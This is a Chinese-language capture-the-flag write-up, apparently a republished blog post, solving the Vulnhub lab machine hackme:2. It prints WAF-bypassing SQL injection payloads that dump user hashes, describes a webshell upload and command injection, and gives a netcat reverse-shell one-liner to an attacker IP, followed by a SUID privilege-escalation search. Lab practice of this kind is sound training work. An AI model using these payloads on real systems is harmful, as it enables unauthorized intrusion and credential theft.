漏洞payload 靶机_hackme:2 靶机攻略

原标题:hackme:2 靶机攻略

00ca49dfa666e49971e5f1919c4bc2ca.png

0x01 背景:

hackme:2是vulnhub上的一个medium难度的CTF靶机,难度适中、内容丰富,贴近实战。而且没有太多的脑洞,适合安全工作者们用来练习渗透测试,然而唯一的缺憾是目前没有公开的攻略,因此把个人的通关过程记录于此,作为攻略分享给大家!

0x02 技术关键词:

SQL注入、WAF Bypass、模糊测试、文件上传、suid提权

0x03 靶机发现与端口扫描

做vulnhub上的靶机的第一步,所有的靶机都是一样的套路,不在这里多费笔墨。

d0ff0164dcec10f045da5f1d0c96d7ae.png

dbde7a79da8041d23391b2226a61d2f8.png

0x04 SQL注入与WAF Bypass

打开位于80端口的Web页面,注册一个测试账号wangtua/wangtua,就可以登录系统了,可以发现是一个书店系统。

16264ff0494fe5202cfa05c384dacad3.png

进入系统之后发现有一个搜索框,SQL注入的套路很明显了。要做SQL注入、第一步就是猜测SQL语句的格式和注入点。

1、探测SQL格式,WAF规则

本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,

1201bdb4d2c59fc1d4d011da81535a9c.png

当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:

6a6bfde97e5731fd39665feb5a792da7.png

因此我们猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):

$sql = " SELECT* FROMBOOKS WHEREbook_name LIKE'".$input."%';"

基于此,我们构造如下payload:

Linux%' and '123 ' like '1

33129c0df1f5d08adbe27d4e9263430d.png

使用另一个payload:

Linux%' and '23 ' like '1

发现无法返回结果

4c460d25e20f1fadb142ddc918ddd6c3.png

可以验证我们的想法。

然而我们使用数据库函数的时候却出现了问题:

Payload:

Linux%'/**/and database like/**/'

没有返回内容,而当我们使用注释符来代替空格的时候,则可以执行成功。

61671c4d2801a902eb8ace936b480cd3.png

2、构造Payload

通过构造联合查询,一步一步获取出数据库名,表名,列名和字段

Linux%' /**/union /**/select/**/database/**/, '2', '3

cce62ffe560c2b1ad9be832e0e6c6a3d.png

Linux%' /**/union /**/select/**/group_concat(table_name), "2", "3"/**/from/**/information_schema.tables /**/where/**/table_schema /**/like/**/'webapp

eca55744b1c9929fb6bacfe76d8f92d7.png

Linux%' /**/union /**/select/**/group_concat(column_name), "2", "3"/**/from/**/information_schema.columns /**/where/**/table_name /**/like/**/'users'and/**/table_schema /**/like'webapp

44fa574c51a2538a48bc86fb3fdc8105.png

Linux%' /**/union /**/select/**/group_concat( user), '2', group_concat(pasword) /**/from/**/users/**/where/**/'1'/**/like/**/'

380136e968c5cfca95c0942c115c885c.png

到此为止我们发现了一个superadmin的账号,将md5值在线解码之后发现是Uncrackable

0x05 模糊测试与命令执行

进入超级管理员账号之后,我们发现了一个可以进行文件上传的点,

5745b27a37488375e935a00802dae9c3.png

上传cat.jpg之后,页面上回显了上传路径。

然而我们却无法直接访问任何文件。

接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7,可以返回49

我们可以使用BurpSuite专业版的Intruder模块来进行模糊测试。

138bc13cd95aac7bc9b7d4d7087946b5.png

Payload选择模糊测试-完整,

ae89b3d7470ee33e1206fe596e50155f.png

点击开始攻击。

攻击完成之后可以发现 `id` 这个payload有命令执行的回显。

34dd8a8a5df44de98e8912b44f1d722a.png

我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用cat

可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。

8f0c6778b42d2c9999816e649dfe2512.png

以及命令执行的成因:

a404516c97fa4729394253bab7af9723.png

使用哥斯拉生成木马并上传,发现php后缀被过滤,换成php3等也不行。

f2186bc75ee0bc5231a9a5ad16653aef.png

dafb062f198a91520a44e873c7045c46.png

后缀改成png之后才上传成功,然而无法正常解析成PHP文件。

e4eaf09c1286dff8cd22f605f6dc5127.png

这里考虑使用刚才的命令执行漏洞,将文件名改成god.php

ecf431c8d59629595c7b42af878837b9.png

使用哥斯拉进行连接,发现连接成功

720619632b305600b026343712feba91.png

0x06 后渗透与提权

为了可以有更好的交互环境,我们用kali自带的weevely生成木马并连接,完成连接之后使用nc反弹shell:

由于靶机的nc版本特殊,无法使用nc -e选项,因此这里使用了如下的payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.129 2333 >/tmp/f

(来自参考资料2)

b66837ccf9b0a5aa489647897de02f59.png

使用pyhton伪终端命令,可以在伪终端执行sudo等命令

使用命令find / -perm -u=s -type f 2>/dev/null来发现设置了suid位的应用程序(参考资料1)

关于suid提权的原理,可以参考P师傅的博客(参考资料3)。

发现home目录下有一个可疑的文件,执行一下之后发现顺利get root权限。

2fbca39d8e4a244db603a8b9cf8ad907.png

f2b1fd345284f311f0de7b8f93b4592d.png

0x07 总结与复盘:

这台靶机感觉制作的比较用心,SQL注入和文件上传等部分都比较贴近实战,唯一美中不足的是提权部分有些太过简单。目前本人正在备考OSCP,在vulnhub和HTB上做了不少靶机,打算最近把vulnhub上后渗透的套路总结一下,再发一篇文章,希望大家支持一下。

0x08 参考资料:

1)https://payatu.com/guide-linux-privilege-escalation

2)https://github.com/swisskyrepo/PayloadsAllTheThings

3)https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html返回搜狐,查看更多

责任编辑:

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值